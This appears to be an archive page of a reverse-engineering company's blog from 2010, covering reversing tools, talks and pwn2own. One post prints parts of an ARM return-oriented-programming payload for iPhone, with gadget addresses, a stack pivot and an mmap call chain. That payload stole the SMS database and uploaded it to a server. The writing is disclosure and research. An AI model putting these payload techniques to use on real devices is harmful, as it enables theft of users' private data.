Archive for the ‘Other’ Category

Guest lecture: Windows Debugger Internals

Tuesday, May 4th, 2010

This semester, students can take a class called Software Reverse Engineering at the University of Mannheim, Germany. In this class, Professor Felix Freiling and his two assistants Carsten Willems and Ralf Hund teach approximately 20-30 students about topics like x86 assembly, Windows internals, and sandboxing of malicious files. The students then use their new knowledge in hands-on homework where they have to crack simple crackmes or analyze malware files.

Last December I was invited to give a guest lecture there about a topic of my choice. Of the available topics, the one that seemed most relevant to my work at zynamics was debuggers and debugger internals.

Yesterday my big day had come. I travelled to Mannheim to give the second guest lecture of my life (I blogged about the first one at Dortmund University). I gave a brief history of popular reverse engineering debuggers from SoftICE to WinDbg. I talked about common debugger  features and how to use them for reverse engineering. I explained in detail what you have to do if you want to implement your own Windows debugger. In the end I spent a few slides talking about anti-debugging measures software uses to protect itself against reverse engineers.

I think the guest lecture went pretty well from my point of view. Unfortunately the students did not seem to be as interested in reverse engineering as the students at Dortmund University were. Maybe they would have paid more attention if they had known before that implementing their own Win32 debugger would be their next homework assignment. 🙂

Anyway, below you can find the German language slides I used for my guest lecture. If you do not have Flash installed, you can get a direct download here.

[slideshare id=3965027&doc=unimannheimdebuggers-100504092656-phpapp02]

Importing MSDN documentation into IDA Pro

Friday, April 30th, 2010

A few weeks ago I already twittered a screenshot that showed what disassembled code looks like in IDA Pro after automatically importing function information from MSDN. Today, I have finally managed to upload our IDA Pro script, ida-msdn, to the zynamics GitHub account. If you are analyzing Windows executable files in IDA Pro you can now benefit from automated API calls documentation.

kernel32.dll after importing function information from MSDN

There is a slight problem, however. Since we can not distribute the MSDN documentation ourselves for legal reasons, you need to have your own local installation of the MSDN. Furthermore, the import process is divided into two parts.

At first you have to parse your local MSDN documentation into an XML file. This can be done with msdn-crawler, another open source zynamics project. msdn-crawler parses your locally installed Windows API documentation files from the MSDN and generates an XML file that contains information about Windows API functions (description, argument names and descriptions, and return values). In this first version, msdn-crawler finds 33984 Windows API functions in the MSDN and generates an XML file that contains more than 30 MB of function information. To see a brief example of what the XML file looks like, please check the readme.txt file on GitHub.

Once you have generated the msdn.xml file with msdn-parser you can use ida-msdn to import Windows API documentation into arbitrary IDB files. ida-msdn does two things: First, ida-msdn tries to match imported functions found in the IDB file to function information from the XML file. When information about an imported function is found, the information is imported from the XML file into the IDB file. Second, ida-msdn tries to find out if you are actually working on a DLL file (like shell32.dll or user32.dll) that exports Windows API functions. In that case, the exported functions recognized by ida-msdn are annotated with information from the XML file too.

Happy MSDN importing. 🙂

Objective-C reversing (Part I)

Tuesday, April 27th, 2010

As mentioned in the conference circus post, last month I was also giving a talk in CodeGate 2010. Just after Thomas’s talk about BinCrowd it was my turn to present my “Introduction to mobile reversing”:

[slideshare id=3856560&doc=codegate2k10tora-100426060011-phpapp01]

As you can see in the slides (Flash required, direct pdf download here), the presentation was divided into three parts: Windows Mobile, Android and iPhoneOS. Almost half of the time was spent in the last section talking about iPhone applications and Objective-C reversing.

One of the main problems when doing iPhone application reverse engineering is to deal with Objective-C artifacts. This is not a new issue. Everything developed over the Cocoa Framework has being using Objective-C for a long time. Proof of that is the existence of previous work in the reversing field (Cameron Hotchkies, itsme) but those scripts have a problem with iPhone applications: they are crafted to analyze x86 binaries (Intel MacOS X). That means the scripts try to parse x86 assembly code and look for compiler structures in certain sections/segments. Both the sections and the structures used are completely different for ARM-iPhoneOS binaries. Other scripts are specific for iPhone (KennyTM), but don’t take care of, in my opinion, the most annoying Objective-C side effect: callgraphs and cross-references.

During my talk at CodeGate, I pointed out that one of the main drawbacks was the fact that with Objective-C we have a useless callgraph, because all calls (take all not as 100% but as a really high percentage) are made to the method objc_msgSend() as you can see in this sample callgraph:

Original callgraph of an iPhone Objective-C sample

The red dots are methods and arrows represent calls. There’s only one arrow per dot because we removed duplicates to simplify it. The three top-called functions are three different flavours of msgSend: the standard one (objc_msgSend); the one to send messages to the super-class (objc_msgSend_Super); and the standard one that returns a struct instead of an integer (objc_msgSend_stret).

Continuing with the presentation, in the last part I used an script to patch the calls to objc_msgSend() and make the callgraph a bit more useful. Basically the script parses the calls to objc_msgSend() and traces the arguments passed in R0 and R1 that are the target class and method name. That way, the script creates a new segment in the binary where it places dummy functions with the names “classname_methodname” and patches the call to objc_msgSend() to point to the corresponding dummy-function. The callgraph after using the script looks a bit better (in blue the dummy functions):

Callgraph of the same sample after using the script

As promised, the script has been released and you can download it from the zynamics GitHub account. This is an initial version with only the objc_msgSend() patching. We will be updating the script with the tricks disclosed in further posts, including a few improvements and adding static Objective-C class reconstruction.

ROP and iPhone

Friday, April 16th, 2010

As you might know I and Ralf-Philipp Weinmann from University of Luxembourg won pwn2own owning the iPhone.

Smartphones are different beasts compared to desktops when it comes to exploitation. Specifically the iPhone has a fairly important exploitation remediation measure, code signing, which makes both exploitation and debugging quite annoying and definitely raises the bar when it comes to writing payloads.

What smartphones usually miss, and that is the case for iPhone as well, is ASLR. Add up the two and we have the perfect OS on which to use ROP payloads.

We are not authorized to talk about the exploit itself as it is being sold to ZDI, nonetheless we want to give a brief explanation on the payload because to the best of our knowledge it is the first practical example of a weaponized payload on ARMv7 and iPhone 3GS.

In order to decide what kind of payloads we want to write, another security countermeasure has to be taken into account, namely Sandboxing.

On iPhone most applications are sandboxed with different levels of restrictions. The sandboxing is done in a kernel extension using the MAC framework. A few well-known syscalls are usually denied(execve() to name one) and normally access to important files is restricted. One last important thing to notice is that the iPhone doesn’t have a shell, so that is not an option for our payload.

Luckily we are able to read files like the SMS database, the address book database and a few others containing sensitive information (this depends on the specific sandbox profile of the application).

A few notions are needed to be able to write ARM payloads, a lot of good information on the topic can be found here. I will nonetheless outline the basics needed below.

The first thing one has to understand before writing a ROP payload is the calling convention used in iPhoneOS.

For iPhone the first four arguments are passed using r0-r3 registers. If other arguments are needed those are pushed onto the stack. Functions usually return to the address pointed by the LR register so when we write our payload we need to make sure that we control LR.

Another important difference between ARM ROP payloads and x86 ROP payloads are instruction sizes.

In ARM there are only two possible sizes for instructions: 4 bytes or 2 bytes. The second type is called THUMB mode. To access THUMB instructions one has to set the program counter to addresses that are not 4-bytes aligned, this will cause the processor to switch to THUMB mode. More formally the processor will switch to THUMB mode when the T bit in the CPSR is 1 and the J bit is 0.

Starting from ARMv7 a “hybrid” mode was introduced, THUMB2. This mode supports both 32bits and 16bits instructions (the switch between 32 bits and 16 bits is done following the same criteria explained before for THUMB).

One last thing has to be noticed is that usually functions are called through b/bl/blx instructions, when writing our payload we are almost always forced not to use bl and blx. In fact those two instructions will save the next instructions into the lr register, thus we lose control over the program flow.

I won’t describe in details the concepts behind ROP as there is plenty of literature available. Tim is writing about ROP on ARM in our blog as well.

I will instead try to outline what important steps are needed when it comes to writing an ARM ROP payload on the iPhone.

In our exploit we know that some data we control lies in r0. The first thing we want to achieve is to control the stack pointer. So we have to find a sequence that allows us to switch the stack pointer with a memory region we control. We do this in two stages:

6a07 ldr r7, [r0, #32]
f8d0d028 ldr.w sp, [r0, #40]
6a40 ldr r0, [r0, #36]
4700 bx r0

// r0 is a pointer to the crafted data structure used in the exploit. We point r7 to our crafted stack, and r0 to the address of the next rop gadget.
// The stack pointer points to something we don’t control as the node is 40 bytes long. So we just to another code snippet which will put us in control of SP.

f1a70d00 sub.w sp, r7, #0 ;0x0
bd80 pop {r7, pc}

Now that we control the stack pointer we can take a closer look at our payload.

A file stealer payload should in principle do the following:

  1. Open a file
  2. Open a socket
  3. Connect to the socket
  4. Get the file size (using for instance fstat())
  5. Read the content of the file (in our case by mmaping it into memory)
  6. Write the content of the file to the remote server
  7. Close the connection
  8. Exit the process/continue execution

This is quite a long list for a ROP shellcode therefore we are not going to discuss each and every step, but just highlight some that are very important.

The first thing our payload needs to do is to control the content of lr register, a gadget that allows us to do so is:

e8bd4080 pop {r7, lr}
b001 add sp, #4
4770 bx lr

Next we will see an example of how a function can be called using ROP on ARM. We take as an example mmap() because it has more than 4 arguments therefore it is a bit trickier:

ropvalues[i++] = 0x00000000; //r4 which will be the address for mmap
ropvalues[i++] = 0x00000000; //r5 whatever
ropvalues[i++] = 0x000000000; //r8 is gonna be the file len for mmap
ropvalues[i++] = 0x000000002; //r9 MAP_PRIVATE copied in r3
ropvalues[i++] = 0x32988d5f; // PC
//32988d5e bd0f pop {r0, r1, r2, r3, pc}

ropvalues[i++] = locFD – 36; // r0 contains the memory location where the FD is stored
ropvalues[i++] = locStat +60; // r1 struct stat file size member
ropvalues[i++] = 0x00000001; // r2 PROT_READ
ropvalues[i++] = 0x00000000; // r3 is later used to store the FD in the following gadget
ropvalues[i++] = 0x32979837;
//32979836 6a43 ldr r3, [r0, #36]
//32979838 6a00 ldr r0, [r0, #32]
//3297983a 4418 add r0, r3
//3297983c bd80 pop {r7, pc}
ropvalues[i++] = sp + 73*4 + 0x10;
ropvalues[i++] = 0x32988673;
//32988672 bd01 pop {r0, pc}
ropvalues[i++] = sp -28; //r0 has to be a valid piece of memory we don’t care about(we just care for r1 here)
ropvalues[i++] = 0x329253eb;
//329253ea 6809 ldr r1, [r1, #0]
//329253ec 61c1 str r1, [r0, #28]
//329253ee 2000 movs r0, #0 //this will reset to 0 r0 (corresponding to the first argument of mmap())
//329253f0 bd80 pop {r7, pc}
ropvalues[i++] = sp + 75*4 + 0xc; //we do this because later SP will depend on it
ropvalues[i++] = 0x328C5CBd;
//328C5CBC STR R3, [SP,#0x24+var_24]
//328C5CBE MOV R3, R9 //r9 was filled before with MAP_PRIVATE flag for mmmap()
//328C5CC0 STR R4, [SP,#0x24+var_20]
//328C5CC2 STR R5, [SP,#0x24+var_1C]
//328C5CC4 BLX ___mmap
//328C5CC8 loc_328C5CC8 ; CODE XREF: _mmap+50
//328C5CC8 SUB.W SP, R7, #0x10
//328C5CCC LDR.W R8, [SP+0x24+var_24],#4
//328C5CD0 POP {R4-R7,PC}

ropvalues[i++] = 0xbbccddee;//we don’t care for r4-r7 registers
ropvalues[i++] = 0x00000000;
ropvalues[i++] = 0x00000000;
ropvalues[i++] = 0x00000000;
ropvalues[i++] = 0x32987baf;
//32987bae bd02 pop {r1, pc}

This payload snippet roughly traslates to:

[sourcecode language=”cpp”]
mmap(0x0, statstruct.st_size, PROT_READ, MAP_PRIVATE, smsdbFD, 0x0);

What we had to do here is to store the arguments both inside the registers (the easy part) and to push two of them onto the stack.

Pushing arguments on the stack creates an extra problem when writing a ROP payload because we have to make sure our payload is aligned with the stack pointer, this is why we to craft r7 in a specific way in line 26.

Finally we pop the program counter and jump to some other instructions in memory.

Having seen this payload one may wonder how to find the proper gadgets in the address space of a process.

As said before iPhone doesn’t have ASLR enforced which means that every library mapped in the address space is a possible source of gadgets.

There are some automated tools to find those gadgets and compile them to form a ROP shellcode on x86. Unfortunately that is not the case for ARM. Our co-worker Tim maintains and develops a great tool written for his thesis that can ease the process of finding gadget on ARM and he is currently working on extending the tool to compile (or better combine) gadgets to form valid shellcode.

As far as we know no techniques to disable code signing “on the fly” have been found on the latest firmware of iPhone.

It is therefore important for anyone trying to exploiting an iPhone vulnerability to learn ROP programming.

One last thing has to be said: the iPhone security model is pretty robust as it is now.

If it would ever support ASLR attacking it will be significantly harder than any desktop OS. In fact, most applications are sandboxed which greatly limits their abilities of doing harm and code signing is always in place. ASLR will limit the ability of creating ROP payloads and there are neither Flash nor a JIT compiler to play with on the iPhone;)

Finally if you are interested in iPhone hacking you should attend the class that I am going to give together with Dino Dai Zovi at Black Hat USA. It will be on Mac OS X hacking but most of the teaching material can be used on iPhone as well!


Malicious PDF file analysis: zynamics style

Friday, April 9th, 2010

If you are interested in PDF file analysis we might soon have something for you. We have developed a nifty little application that can not only parse PDF files but also help you analyze them very quickly. The main features include:

  • The ability to view PDF files as content trees as well as hex data.
  • Decode and display embedded JavaScript.
  • Refactoring functionality for JavaScript code, for example for variable renaming.
  • An integrated JavaScript interpreter for malicious script debugging.
  • An extensible Adobe Reader emulator to simulate arbitrary versions and configurations of Adobe Reader.
  • Intercept all called functions to log calls or modify arguments and return values.
  • Automated exploit recognition.

To see it all in action, you can watch a preview video by clicking this link.

There are a few things to explore in the next weeks:

  • We will improve the PDF parser.
  • We will add more JavaScript refactoring functions.
  • We need to figure out how to limit memory to scripts because if your script gets heap-sprayed, the PDF analysis tool will get heap-sprayed too which is uncool.
  • We will add a plugin API so that you can automatically process large quantities of files. This should be very useful for everyone who wants to do batch analysis of PDF files.

Conference Circus: April and May 2010

Tuesday, April 6th, 2010

If you want to meet team zynamics people at conferences your odds are better than ever. We would like to meet you too and we have a pretty full conference program in the next two months. If you want to get an in-depth view about a specific topic or technology we are working on you might want to contact us in advance so we can prepare a bit. If you just want to hang out and talk, feel free to approach us at the conferences. Our email addresses all have the pattern. If in doubt you can also send an email to

CODEGATE 2010 (Seoul, April 6 – April 7)

Thomas will be at CODEGATE 2010 to give a talk about BinCrowd, our collaborative reverse engineering server. If you want to meet up you better hurry because today is already the first day and Thomas will fly out to the next event tomorrow already.

Jose Duart (who works on VxClass) is also at CODEGATE 2010. He will give a talk titled “Introduction to mobile reversing”.

Black Hat Europe 2010 (Barcelona, April 12 – 15)

Never before were there so many zynamics researchers at just one conference! If you want to, you can meet Thomas, Vincenzo (Talk: “0-knowledge fuzzing”), Ero Carrera (Talk: “State Of Malware: Family Ties”), Jose, or me.

SANS European Digital Forensics and Incident Response Summit (London, April 14 – 20)

Ero will be one of the panelists in a discussion titled “New Computer Forensic Techniques”.

InBot’10 (Bonn, April 20 – 21)

Tim, Thomas, and Christian Blichmann (who also works on VxClass) are planning to go to InBot’10 to learn about and share the latest trends in all kinds of malware-related topics.

SOURCE Boston (Boston, April 21 – 23)

Vincenzo will be at SOURCE Boston to give his talk about 0-knowledge fuzzing again.

NATO Symposium on “Information Assurance and Cyber Defence” (Antalya, April 26 – 27)

Thomas and I will give a talk about correlating attackers between different cyber attacks using binary code artifacts.

Confidence 2010 (Krakow, May 25 – 26)

Still unconfirmed, but Vincenzo is planning to be there.

CARO 2010 (Helsinki, May 26 – 27)

I will be in Helsinki the two days before CARO 2010 takes place. If anybody wants to meet up with me there to talk about VxClass, how we automatically generate signatures for whole malware families, or any other malware-related topic we are working on please contact me before and I can extend my stay.

PH Neutral  0x7da (Berlin, May 28 – 30)

PH Neutral could even beat Black Hat Europe. The current plan is to show up there with Tim, Ero, Jose, me, and possibly Thomas, Vincenzo, and Christian (the last three are yet unconfirmed). If you have ever been to PH Neutral you know that this conference is focused on hanging out and not on demoing tech, of course. 🙂

Ralf-Philipp Weinmann & Vincenzo Iozzo own the iPhone at PWN2OWN

Wednesday, March 24th, 2010

Hey all,

this is just a quick announcement that Ralf-Philipp Weinmann (a postdoctoral researcher at the University of Luxembourg) and Vincenzo Iozzo (a researcher at zynamics :-)) owned the iPhone at PWN2OWN today.

A bug in Safari was exploited that extracted the SMS database from the phone and uploaded it to a server.

Vincenzo will write more about the payload construction process once the dust settles — fittingly, the payload used chained return-into-libc (“return oriented programming”) on ARM to execute in spite of code signing. As far as we know, this is the first public demonstration of chainged return-into-libc on thre ARM platform.
I am happy and proud to be able to work with great people (Ralf happens to be a BinNavi/BinDiff user, and Vincenzo is “our youngest” employee).  Now we’ll celebrate for a bit and then prepare tomorrow’s talk.

Here’s a press release and ZDI’s blog post about pwn2own.



Reverse Engineering & Bug Hunting Trainings Class @ CSW

Sunday, February 21st, 2010

Hey all,

Sebastian and me will be teaching a bug hunting / reverse engineering trainings class at CanSecWest. With the increased sophistication of both exploitation mitigations and simple static checkers, aquiring an understanding of a piece of software when performing vulnerability research is getting more and more important. In our class, we’ll teach techniques that help you become faster and more productive when reverse engineering. Concrete examples will be worked through for every abstract concept.

Things that we’ll do in this class:

  • Generate full UML class diagrams from Acrobat Reader (UML generation from RTTI information)
  • Understand Acrobat Readers Javascript implementation – by porting information from Spidermonkey (Symbol Porting)
  • Isolating complicated parsing code through differential debugging
  • Use lots of Python to extend both IDA and BinNavi – use REIL to perform common tasks
  • Read security updates

You can sign up for the class here.

Black Hat DC "report"

Wednesday, February 10th, 2010

As some of you might know I did a talk at BH DC this year about fuzzing, below the slides and the white paper. I strongly suggest you to take a look at the white paper first as the slides are full of pictures therefore not really useful from a learning point of view. If you have any questions/suggestions on the content, please feel free to write me an email or comment on this blog post.

I am not a big fan of conference reports and stuff like that but I feel like spending a few words on the attack shown by Dionysus Blazakis as I found it pretty relevant for real world exploitation scenarios. I do not want to explain again what he did – both the white paper and the slides are public- but the important facts are mainly two:

  1. Defeating DEP by using JITSpraying
  2. Defeating ASLR by exploiting a weakness in how hash maps are ordered

In Flash it is possible to combine the two by JITspraying a piece of memory, insert the function object (with the shellcode) in a dictionary/set that uses hash maps for storing data and by using (2) being able to find the address of the shellcode.

The reason why this technique is so cool is because JITSpraying does not work just on Flash, but on everything that has a JIT compiler which creates predictable output inside it,  and it is not trivially fixable. As for the technique for defeating ASLR it is easier to fix(well, sort of) but still it is one of  the most advanced attacks against it we have seen so far.

The bottom line: the sky isn’t falling, but if you are an exploit writer you really want to learn this technique. If you are not you should learn it anyway – I expect to see quite a lot of exploits using this technique.

[slideshare id=3127552&doc=0knowfuzz-bh-100210153540-phpapp01]

[slideshare id=3127566&doc=bh-whitepaper-100210153835-phpapp01&type=d]


Wednesday, February 3rd, 2010

Hi everyone,

I am the new member on team zynamics. My name is Tim Kornau. I recently finished my Diploma Thesis at the Ruhr-University Bochum in IT-Security which covered the topic of return-oriented programming for the ARM architecture. I will post a summary of the thesis here in a follow-up blog post soon. For the impatient, you can already go ahead and read it –here-.

Primarily I will be working with Sebastian Porst on BinNavi and extending its capabilities even further. Right now I am working on the new MIPS REIL translator featured in the upcoming BinNavi 3.0 release.

If you have any questions about REIL, BinNavi, ARM, return-oriented programming or are just interested in sharing ideas about the topics, I am happy to talk to you.

I am looking forward to an awesome time at zynamics and a lot of new things to learn and do.